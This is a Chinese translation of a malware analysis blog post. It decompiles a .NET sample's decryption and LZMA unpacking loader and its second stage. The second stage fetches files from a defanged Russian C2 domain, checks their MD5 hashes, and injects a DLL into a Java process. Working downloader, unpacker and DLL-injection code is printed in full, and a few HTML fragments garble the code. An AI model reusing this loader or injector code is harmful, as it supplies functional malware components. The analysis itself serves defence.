译文声明
本文是翻译文章,文章原作者 Malwrologist,文章来源:dissectmalware.wordpress.com
译文仅供参考,具体内容表达以及含义原文为准
我在Hybrid-Analysis发现了一个有意思的恶意软件实例:
这个文件是一个.NET二进制文件。于是我用ILSpy .NET decompiler反编译了一下,进一步看看它的代码。
可以看到它的主函数如下(我移除了大部分数组内容):
private static int Main(string[] P_0)
{
uint[] array = new uint[2479]
{
1577855463u,
2828857993u,
4140489464u,
2608716692u,
1989109008u,
2597657387u,
2241603555u,
3264879030u,
3308843330u,
104908645u,
// 剩下的被移除
};
Assembly executingAssembly = Assembly.GetExecutingAssembly();
Module manifestModule = executingAssembly.ManifestModule;
GCHandle gCHandle = Decrypt(array, 3383442103u);
byte[] array2 = (byte[])gCHandle.Target;
Module module = executingAssembly.LoadModule("koi", array2);
Array.Clear(array2, 0, array2.Length);
gCHandle.Free();
Array.Clear(array, 0, array.Length);
key = manifestModule.ResolveSignature(285212673);
AppDomain.CurrentDomain.AssemblyResolve += Resolve;
module.GetTypes();
MethodBase methodBase = module.ResolveMethod(key[0] | key[1] << 8 | key[2] << 16 | key[3] << 24);
object[] array3 = new object[methodBase.GetParameters().Length];
if (array3.Length != 0)
{
array3[0] = P_0;
}
object obj = methodBase.Invoke(null, array3);
if (obj is int)
{
return (int)obj;
}
return 0;
}
private static GCHandle Decrypt(uint[] P_0, uint P_1)
{
uint[] array = new uint[16];
uint[] array2 = new uint[16];
ulong num = P_1;
for (int i = 0; i < 16; i++)
{
num = num * num % 339722377uL;
array2[i] = (uint)num;
array[i] = (uint)(num * num % 1145919227uL);
}
array[0] = (array[0] ^ array2[0]) * 1313239741;
array[1] = (uint)((int)(array[1] ^ array2[1]) ^ -1202084285);
array[2] = (array[2] ^ array2[2]) * 1313239741;
array[3] = (uint)((int)(array[3] ^ array2[3]) ^ -1202084285);
array[4] = (uint)((int)(array[4] ^ array2[4]) + -1545941219);
array[5] = (uint)((int)(array[5] + array2[5]) + -1545941219);
array[6] = (uint)((int)(array[6] ^ array2[6]) + -1545941219);
array[7] = (uint)((int)(array[7] ^ array2[7]) ^ -1202084285);
array[8] = (uint)((int)(array[8] ^ array2[8]) + -1545941219);
array[9] = (uint)((int)(array[9] * array2[9]) ^ -1202084285);
array[10] = (uint)((int)(array[10] * array2[10]) + -1545941219);
array[11] = (uint)((int)(array[11] ^ array2[11]) ^ -1202084285);
array[12] = (uint)((int)(array[12] + array2[12]) + -1545941219);
array[13] = (uint)((int)(array[13] ^ array2[13]) + -1545941219);
array[14] = (array[14] + array2[14]) * 1313239741;
array[15] = (uint)((int)(array[15] + array2[15]) + -1545941219);
Array.Clear(array2, 0, 16);
byte[] array3 = new byte[P_0.Length << 2];
uint num2 = 0u;
for (int j = 0; j</pre>
> 8);
array3[num2 + 2] = (byte)(num3 >> 16);
array3[num2 + 3] = (byte)(num3 >> 24);
num2 += 4;
}
Array.Clear(array, 0, 16);
byte[] array4 = Decompress(array3);
Array.Clear(array3, 0, array3.Length);
GCHandle result = GCHandle.Alloc(array4, GCHandleType.Pinned);
ulong num4 = num % 9067703uL;
for (int k = 0; k < array4.Length; k++)
{
array4[k] ^= (byte)num;
if ((k & 0xFF) == 0)
{
num = num * num % 9067703uL;
}
}
return result;
}
internal static byte[] Decompress(byte[] P_0)
{
MemoryStream memoryStream = new MemoryStream(P_0);
LzmaDecoder lzmaDecoder = new LzmaDecoder();
byte[] array = new byte[5];
memoryStream.Read(array, 0, 5);
lzmaDecoder.SetDecoderProperties(array);
long num = 0L;
for (int i = 0; i < 8; i++)
{
int num2 = memoryStream.ReadByte();
num |= (long)((ulong)(byte)num2 <<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>< 8 * i);
}
byte[] array2 = new byte[(int)num];
MemoryStream memoryStream2 = new MemoryStream(array2, true);
long num3 = memoryStream.Length - 13;
lzmaDecoder.Code(memoryStream, memoryStream2, num3, num);
return array2;
}
在第19行,长数组对象被Decrypt函数解密。处理结果是一个GCHandle对象。GCHandle对象的内容是用来创建一个模块(第21行),然后它的一个方法被激活(第34行)。
被解密的代码是另一个.NET二进制文件。所有我们可以再次用ILSpy反编译它来看看它的内容。
可以看到它的主函数如下(http被替换成hxxp防止误操作):
[STAThread]
private static void Main()
{
try
{
string text = SendPOST("hxxp://pussyhunters.ru/mix/check.php", "getHash=True");
string text2 = "C:\Mix\";
string path = "C:\Program Files (x86)\Java\";
WebClient webClient = new WebClient();
string[] array = text.Split(':');
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
if (!Directory.Exists(path))
{
MessageBox.Show("Скачайте Java (32-разрядная версия).", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
Process.Start("hxxps://www.java.com/ru/download/manual.jsp");
Application.Exit();
}
else
{
if (!CalculateMD5(text2 + "\Bypass.lib").Equals(array[0]))
{
if (File.Exists(text2 + "\Bypass.lib"))
{
File.Delete(text2 + "\Bypass.lib");
}
webClient.DownloadFile("hxxp://pussyhunters.ru/mix/Bypass.lib", text2 + "\Bypass.lib");
}
if (!CalculateMD5(text2 + "\x32.dll").Equals(array[1]))
{
if (File.Exists(text2 + "\x32.dll"))
{
File.Delete(text2 + "\x32.dll");
}
webClient.DownloadFile("hxxp://pussyhunters.ru/mix/x32.dll", text2 + "\x32.dll");
}
if (!CalculateMD5(text2 + "\Launcher.jar").Equals(array[3]))
{
if (File.Exists(text2 + "\Launcher.jar"))
{
File.Delete(text2 + "\Launcher.jar");
}
webClient.DownloadFile("hxxp://pussyhunters.ru/mix/Launcher.jar", text2 + "\Launcher.jar");
}
if (!CalculateMD5(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar").Equals(array[4]))
{
if (File.Exists(text2 + "\YhfNbQOpZ.jar"))
{
File.Delete(text2 + "\YhfNbQOpZ.jar");
}
webClient.DownloadFile("hxxp://pussyhunters.ru/mix/YhfNbQOpZ.jar", Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar");
}
if (CalculateMD5(text2 + "\Bypass.lib").Equals(array[0]) && CalculateMD5(text2 + "\x32.dll").Equals(array[2]) && CalculateMD5(text2 + "\Launcher.jar").Equals(array[3]) && CalculateMD5(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar").Equals(array[4]))
{
Process.Start(new ProcessStartInfo("javaw", "-jar " + text2 + "\Launcher.jar"));
Thread.Sleep(1000);
if (Process.GetProcessesByName("javaw").Length == 1)
{
int processId = GetProcessId("javaw");
if (processId >= 0)
{
IntPtr hProcess = OpenProcess(2035711u, 1, processId);
InjectDLL(hProcess, text2 + "\x32.dll");
Process.Start(new ProcessStartInfo("javaw", "-jar " + Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar"));
Application.Exit();
}
}
else
{
MessageBox.Show("Что-то пошло не так, перезапустите программу!", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
Application.Exit();
}
}
}
}
catch (Exception ex)
{
MessageBox.Show("Что-то пошло не так...rn[" + ex.ToString() + "]", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
}
<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>
在第6行,它发送一个HTTP POST请求到 hxxp://pussyhunters.ru/mix/check.php
使用 wget 命令,我们可以手动创建和发送相同的HTTP POST请求到check.php页面:
它是一个用冒号(:)分割的有5个md5哈希值的数组。
b09825b34c420d73084b7a6326d3aae8
813f5be19d63d69e7f255c754d1d9e4a
86a64afaba3f9088e859f127ca7fa25c
f8b0fd96829496bb6163e1a4bf510d36
63b54502635e86388b520827e637d449
它用于检查它所在的文件系统中的文件的有效性。如果文件的md5哈希值和这些值不符,恶意软件再次获得文件。
jar文件被重度加密,连YhfNbQOpZ.jar都不能用jd-gui反编译了。
在写这篇博文时,没有任何C#代码下载的文件被反病毒产品识别出来。